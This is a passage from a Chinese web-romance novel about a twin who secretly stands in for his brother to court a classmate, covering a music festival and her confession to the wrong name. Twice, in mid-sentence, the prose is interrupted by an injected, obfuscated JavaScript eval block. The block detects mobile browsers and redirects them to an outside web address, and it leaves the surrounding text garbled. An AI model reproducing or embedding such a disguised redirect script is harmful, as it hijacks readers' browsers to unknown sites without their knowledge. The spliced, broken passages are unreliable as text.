拒绝了张皓又一次打着聚餐名头的联谊,季行月一下课就回了出租屋,才打开玄关门,就闻到空气里弥漫着的饭菜咸香。 季舒阳只有在心情很好的时候会下厨,他又和李再星发生了什么事,让他这么高兴? 季行月莫名地更烦,臭着脸进屋,瞥见厨房里女人的背影,阴沉的表情顿时变错愕。 烦恼抛到脑后,他欣喜走过去,“妈,您怎么来了?” 秋丽在厨房里忙活,没回头,光听语气就知道是让人操心的小儿子,“我来突击检查,你过来,我有话问你。” 季行月听话走过去,嬉皮笑脸问:“什么事啊,秋女士。” 下一秒,耳朵被秋丽揪住。 秋丽兴师问罪,“你老实交代,是不是又开始抽烟了?” 季行月疼得哎哟叫,被迫弯着腰配合她的身高,莫名其妙又很冤枉:“我什么时候抽烟了?” “还说没有,那这是什么?”秋丽从口袋里拿出一个开了封的烟盒,“我刚给你收拾衣服的时候,从你外套里摸出来的。” “我哪件外套啊?” “那件燕麦色呢大衣!” “……” 该死,那是前几天他借给季舒阳穿的! 季舒阳的衣服一溜全是乌漆嘛黑,为了不让李再星发现异样,季舒阳每次去见李再星,都会穿他的衣服。 季行月气得哼哧喘粗气,“这不是我的烟,是季舒阳——哎哟哎哟!妈,疼!” 还没等他说完,秋丽揪他耳朵的力气更大了,“疼就对了,做错事就好好认错,非犟什么嘴,你哥是会吸烟的人吗?” 这种事情无论经历多少次,他们都会站在季舒阳那边。 季行月没了辩解的力气,再反抗也只会让耳朵更疼,“我错了,是我的烟,我再也不吸了。” 秋丽这才松手,“好在这次是我发现的,要是你爸,竹条子早抽身上了。” 他们家对吸烟这事管得很严。 他们的叔叔,二十几岁时就肺癌去世,主要诱因就是吸烟。 此后,季良鹏就十分避讳吸烟,不仅自己戒烟,也几次三番勒令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484294|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个儿子绝不能沾这东西。 因为被发现烟盒而挨竹条这事也不是第一次,季行月小声嘀咕,“我真该跟窦娥姓。” 秋丽没听清,也猜得出他是在不服气抱怨,“有时间在这嘀咕,去给你爷爷打个电话,上次你没去他寿宴,好好跟老爷子道个歉。” 季行月不乐意,“您又不是不知道,爷爷看见我就来气。” “是看你那一身花里胡哨的衣服和头发来气。” 看他无动于衷的模样,秋丽无奈道:“老人家是保守了点,你一年也跟他见不了几次面,就不能在这几次的时候顺着他心意吗?” 季行月扯了扯唇,他不管做什么都顺不了爷爷的心意,和穿着打扮无关,只因为他不是季舒阳。 心里是这么想,为了耳朵不挨揪,嘴上还是得应付下,“好好好,我下次一定。” 秋丽一听就知道他是在敷衍,“别只耍嘴皮子,亏得你哥在他面前帮你说好话。” 季行月愣了愣,“他说什么了?” 秋丽:“说你没去成寿宴是参加了学校的活动,跟同学忙着练习脱不开身,还说你们俩送的寿礼是你精心挑的,他只是出了一半的钱。” 季行月差点跳起来,整张脸都涨红,“他说这些做什么!” 秋丽:“你哥平时不爱说话,这一开口,说的全是你的好话,没课的时候找个时间去跟你爷爷吃顿饭,别白费了他的口舌。” 季行月没说好也没说不好,捂着脸蹲在地上,一米八几的大高个缩成一团,像小孩子一样闹脾气,“烦死了,他多管什么闲事!” 秋丽今天说是来突击检查,其实是来给季行月做思想工作的,思想工作做完了,饭也顺便做完了,没留多久就回家了,也没跟他们一起吃。 饭菜摆在餐桌上,季行月没先吃,在客厅玩手机等到季舒阳回来。 见人进屋,他开口即是埋怨,“再晚一点,菜都成隔夜了。” 季舒阳不慌不忙将换下的鞋放进鞋柜,摆整齐,拎着手里的药店便利袋进了屋,同样不客气地回怼,“你自己不会先吃,等着我试毒?” “……” 季行月磨了磨牙,把烟盒朝他丢过去,“你个烟鬼能不能长点记性,每次都是我给你背锅。” 他瞄准了季舒阳的脑袋砸过去,奈何后者眼疾手快,精准接住。 “下次我会注意。” 季舒阳语气很淡,说是下次会注意,但听不出什么愧疚的意思。 季行月信他才有鬼,但也没多计较什么。 两人一个去洗手拿筷子一个拿碗去盛饭,在餐桌旁落座后,季行月冷不丁开口:“妈跟我说了。” 季舒阳置若罔闻吃着饭,也不开口问问说了什么。 季行月只得自己接着说,“你干嘛在爷爷面前给我说好话?” “我只是说了实话。” “你的实话让你自己也被爷爷说了一顿。” “说了又不会掉块肉。” 季舒阳全程滴水不漏,表情也从始至终都很冷淡。 季行月啧了声,跟他聊天就跟挤快用完的牙膏一样让人不爽。 瞧瞧这理直气壮厚脸皮的样子,季行月冷哼,“怎么说你都占理。” 兄弟俩的对话结束得很突然,也很自然,餐桌上只剩筷子偶尔碰触到陶瓷碗的叮当声。 快吃完时,季行月忽然轻咳了声,不太自然地开口:“周六我要去看爷爷,不一定能赶回来。” 听他这么说,季舒阳并未表露出惊讶,只是淡声提醒:“这周六是音乐艺术节。” 季行月啧了声,为他的一根筋而无语,“所以让你这个替补上啊。” 季舒阳动作一顿。 “还没吃完的人洗碗。” 不希望被他多问原因,季行月说完就放下筷子离席,走了几步又停下,转过身恶声恶气威胁:“你要是上台跑调,坏了我的名声,我就把你小时候的女装照投表白墙!” 季舒阳没吭声,只目送着他别别扭扭地回了房。 房门关上,他收回视线,独坐在餐厅,敛着眉眼,薄唇缓缓勾出弧度。 让秋丽今天来这一趟果然没错,如他所料,秋丽肯定会提及季行月上次没去爷爷寿宴的事,多少也会提到他在爷爷面前给季行月说好话这件事。 而最不愿意欠人情的季行月,会因为这件事心软动摇,让出机会还他人情。 这是最温和的处理方式。 就算这招没奏效,他也留有后招,打晕、软禁、下药,办法多得多。季行月该庆幸自己及时退出,免受了□□之苦。 一起参加艺术节,是他答应李再星的事。 她想做的事,想跟他一起做的事,无论如何,他都会去做。 即便用尽心机,不择手段。 季舒阳起身,将刚拎回家的泻药丢进垃圾桶。 15. 第 15 章 音乐艺术节前一天,青安市下起了今年的第一场雪。 鹅毛似的雪洋洋洒洒落了一天一夜,道路两旁的景观树丛覆上一层雪白。 骤降的气温,并不耽误期盼已久的音乐艺术节如期举行。 周六下午,空气的温度愈冰冷,礼堂的气氛愈热烈。 气氛越热烈,李再星的心情越忐忑。 明明去年的艺术节阵势并不大,今年却凭空冒出这么多才艺惊人的能人,一个个准备的节目隆重又正式,仿佛马上就要去出道。 其中原因,李再星大概是知道的。 学校为了刺激大家积极参加,今年的艺术节前三名除了奖状还会发奖金,数额还不低。 钱是最实在的嘉奖,尤其是对最不缺时间精力唯独缺钱的大学生。 热情空前高涨,无论台上台下,幕前幕后,快活又热闹。 在这吵闹嘈杂的环境中,安静待着的季舒阳就显得有些格格不入。 李再星第N次从洗手间回来时,远远看见他一个人站在后台候场。 马上就要上台,他已经脱下冬季外套,身上穿着搭配表演曲目和她一套的绀色西式制服。 少年的骨架高大挺拔,又因为削瘦而显得单薄,窄腰之下,一双腿笔直又修长。 染成灰棕的发色衬得皮肤愈发的白,为没带任何表情的清俊眉眼添了几分冷感。 仅仅只是站在那,就惹眼得过分。 也难怪李再星在洗手间都能听到关于他的议论。 李再星平时不关注学校里的八卦,连学校表白墙都是当初要捞人的时候临时去加的。 不光是她,502宿舍的几个人,要么沉迷小说,要么只关注吃和减肥,中文系本系的八卦都知道得少之甚少,更别说远在南校的经管系。 所以,今天之前,李再星完全低估了季行月的人气。 而这几趟跑洗手间的工夫,几乎每一趟都在隔间里听到季行月的名字。经管系的系草,人气王,有哪些个女生都想追他。 李再星听得嘴巴张大,再张大。 原来我crush的竟然是这么个风云人物吗?这些形容会不会太夸张了点? 但放在季行月身上,也确实一点都没夸大。 抛开洗手间里听到的那些议论,她再迟钝,今天也感受到不少落在她的探究视线。 很难不压力山大。 前台的掌声拉回李再星的思绪,她朝那边的男生小跑过去,“是不是马上要到我们了?” 每表演完一个节目,她都得问一遍。季舒阳也不厌其烦地回答,“嗯,下一场就是。” 话音刚落,主持人在台上报幕:“在这个初雪的日子,我们依旧怀念那个阳光明媚的午后,故事的小黄花,童年的荡秋千,那个纯真美好的少年时代。有请季行月、李再星为我们带来一首《晴天》!” 只是季行月这个名字刚被说出来,台下立刻响起震耳欲聋的尖叫。 李再星在后台都被吓得一激灵,一边忙不迭地脱外套,一边碎碎念:“别紧张别紧张,当成KTV就好,之前说要拿头奖都是开玩笑的,结果不重要,我们只享受过程就好,嗯,别在意别人……” 她一个劲地碎碎念,也不知是在鼓励季舒阳还是在安慰自己,发抖的声音也不知是因为寒冷还是因为紧张。 一只手忽然伸到她面前。 修长的手指微微弯曲着,掌心朝上,像是一种邀请。 “我的手很暖和。” 李再星听见他是这么说的。 脑子一片空白。 不是没和他握过手,但是第一次被邀请牵手。 李再星盯着他骨节分明的手指,指尖轻轻放上去,仅仅只是触碰,即刻就被回握。 不似手背皮肤细腻的掌心,毫无迟疑地包裹住她,如他所说,很温暖。 忐忑焦躁的心脏莫名笼上了几分安全感,却似乎比刚才跳得更快。 李再星不由看向他,未料对方也在看着自己。 唇角微弯,眼尾染着笑意。 只这样一抹浅笑,就让她心跳如擂鼓。 没来由地,李再星忽然很想知道,他此刻的心跳,是否也跟她一样? 但她来不及求证,前台的帷幕已经拉开。 呼声四起,又渐归于平静。 表演开始了。 …… 音乐艺术节在渐大的雪势中完美落幕,从白天到傍晚,路上的积雪堆厚了一层,一踩一个脚印。 这次的竞争有够激烈,李再星在台上因为紧张,也没太能压住场子,痛失前三。但也不是完全没有收获,托季舒阳的福,他们这个节目拿到了人气奖。 这次的音乐艺术节,李再星本就醉翁之意不在酒,无论有没有奖,都不耽误她今天的满足和兴奋。 落幕散场刚好是晚饭时间,校园广播里正在放着一首很符合初雪气氛的抒情歌。无论是表演的同学还是观众,都陆陆续续去往食堂。 李再星和季舒阳同样往食堂方向走。举办艺术节的礼堂位置偏僻,他们又走得晚,这会儿这条路上已经没几个人。 雪还在下,他们共撑一把伞,并肩走在积雪未化的路上。 季舒阳冷不丁出声询问:“你今天过得开心吗?” 李再星几乎条件反射,忙不迭地点头:“当然开心!超级开心!” 季舒阳弯了弯眼睛,“我也是,很开心。” 他尾音微微上扬,带着明显的愉悦。 这份愉悦也愈发感染了李再星,心里像沾了蜜。 不约而同地,谁都没再说话,只是无声地翘着嘴角,默契享受这甜滋滋的宁静,偶尔抿一抿嘴唇,以防它翘得太高,泄露心绪。 安静的空气里,一时间只有挨在一块的羽绒服外套的摩擦声。 直到李再星的手机突然涌进许多消息,响了一声又一声,打破这片刻宁静。 李再星无奈,从兜里拿出手机。 果不其然是室友们在宿舍群里狂嗨调侃。 关柔活像个站姐,发了一堆两人在台上的照片,末了霸气表示:结婚照,拿走不谢。 王佳佳则是发了条表白墙投稿的链接:我的星,你火了。 链接名字:吃狗粮的下雪天,来听首最甜《晴天》 李再星点进链接看了眼,居然是她和季行月在台上唱歌的视频。 另一个当事人就在旁边,她这会儿也没戴耳机,自然不好马上点进去看,于是往下翻了翻评论。 [啊啊啊这不是经管系的季行月吗?他竟然参加了音艺节!该死,没去错亿!] [真错亿的难道不是人家已经有女朋友了吗?呜呜呜小姐姐长得好甜啊,人美歌甜真般配TT] [可恶的小情侣,我才不吃这狗粮!] 李再星被评论里的夸奖和误会弄得脸热,虽然私底下在宿舍各种嘴嗨,但现在这是公共平台,浏览量分分钟上完的表白墙,这么多人看着…… 害羞归害羞,李再星的手指还是不受控制地继续往下滑: [你们怎么都说这是季行月?我怎么看着像另一个?] [楼上想多了,会抛头露脸上台表演的必然是经管系的系草,怎么可能是计算机系的那位。] 李再星疑惑地看着这两条评论。 另一个是什么意思?计算机系的那位又是在说谁? 她正要继续往下看,脚下忽地一滑,差点摔倒之际,手臂一紧。 季舒阳及时扶住了她,缓声提醒:“地上有积雪,小心路滑。” 李再星连忙把手机息屏,塞回口袋。 不好意思跟他提两人被投稿表白墙的事,她把锅甩给嗷嗷待哺的室友们:“是我室友们在群里敲诈我,刚刚在回她们消息。” “敲诈?”季舒阳似不太理解她的措辞。 李再星解释:“她们帮了我一个大忙,让我请她们吃饭呢。” 季舒阳问:“你遇到什么麻烦了吗?我或许也可以帮你?” 顿了下,又补充:“不要报酬,也不用请吃饭。” 李再星被他这正经又好骗的模样逗笑,你要是知道是什么忙,就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484295|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会这么说了。 她眼珠子骨碌一转,忽然有了主意。 “好呀,”李再星顺势应了,“那你现在就帮我吧。” 她把手从口袋里伸出来,掌心朝上,摊到他面前,“我的手好冷。” 说这话时她带着调戏意味,想让他再牵自己的手。 却没料被她调戏的人正义凛然,抬了抬撑伞这只手的手肘,一本正经地示意她自己插兜里去:“我的兜里很暖和。” 李再星:“……” 等等,这和她想的不一样啊。 上台前那么自然地牵手呢? 怎么才过了几个小时,这待遇就不一样了? 李再星既无语又郁闷。 正这时,忽听他低声说了句:“我打着伞,不方便。” 她一时没转过弯来,下意识看向季舒阳,抬眼的目光所及,却是他通红的耳根,也不知是被冷风吹红的,还是其他原因。 李再星更偏向后者。 因为他此刻的表情,同那日在地铁上一模一样。 广播里的歌结束了最后一个节拍,短暂空档后,接着播放的是一首耳熟能详的中文歌,恰好是他们今天所表演的《晴天》。 李再星彻底明白了王佳佳的那句话。 心动,暧昧,粉红泡泡,那一瞬间是什么样的感觉。 就像是一直吹大的泡泡糖突然炸破,随机播放到最喜欢的歌曲,伸出去的手刚好接住落下的第一片雪花,看着它在掌心慢慢融化。 毫无准备,有惊有喜。 惊喜之后,是莫大的满足。 李再星蓦地停下脚步。 毫无准备,脱口而出: “季行月,我们交往吧。” 话音落下的瞬间,两个人的脸色均是一变。 季舒阳浑身一震,撑伞的手陡然一松,雨伞落了地,路灯的灯光落在身上,照得他脸色惨白。 李再星则是意识到自己不过脑子跳过了太多步骤,倒吸一口凉气后,赶紧亡羊补牢:“这个这个……那个那个……我我我的意思是你人真的很好,性、性格很好,心肠也好,还还还帮了我很多次,我……我……你……” 她越说越磕巴,也越说也心急,视线在各处飘忽不定,就是不敢看他。 季舒阳垂着眼,一言不发望着这样心急如焚的她,半张脸湮没在路灯的阴影中。 萧瑟寒冷的夜风刮在脸上如同刀割,她清脆的声音和广播里的歌声撞在一起,每一个字都像是一根针,比冷风更锋利,笔直地刺向他。 机关算尽,他以为自己终于如意,同她一起完成了她想做的事,如愿让她开心。 却在这天的末尾,她最开心的时刻,亲耳听见她对另一人告白。 她的告白有多急切,感情有多真挚,于他就有多尖锐。 为什么? 为什么偏偏是季行月? 为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么…… 李再星磕磕绊绊说了一堆废话,越说越觉得自己重点偏到了天南海北,不像是告白,更像是发好人卡。 一步错步步错,一半的脑子在骂自己,死嘴快说啊;一半的脑子在骂自己,这死嘴,到底在说什么啊? 她急得不得了,到最后,索性不管不顾豁出去了! “哎呀不管了,你只听这一句就好!” 李再星低头紧闭着眼睛给出一记直球:“季行月,我喜欢你!是想和你恋爱的那种喜欢!” 告白总算结束,她仿佛刚跑完一场八百米,气息不稳地喘着粗气。 稍微平复了呼吸,李再星忐忑地抬头,想瞄一眼他的反应。 却在抬头的瞬间,望进一双黯淡湿润的眼睛里。 他看着她。 睫毛轻颤,眼里的悲伤无处可藏。 雪洋洋洒洒从天而降,落在他肩头。 同她对视的少年,眼睛骤然落下雨。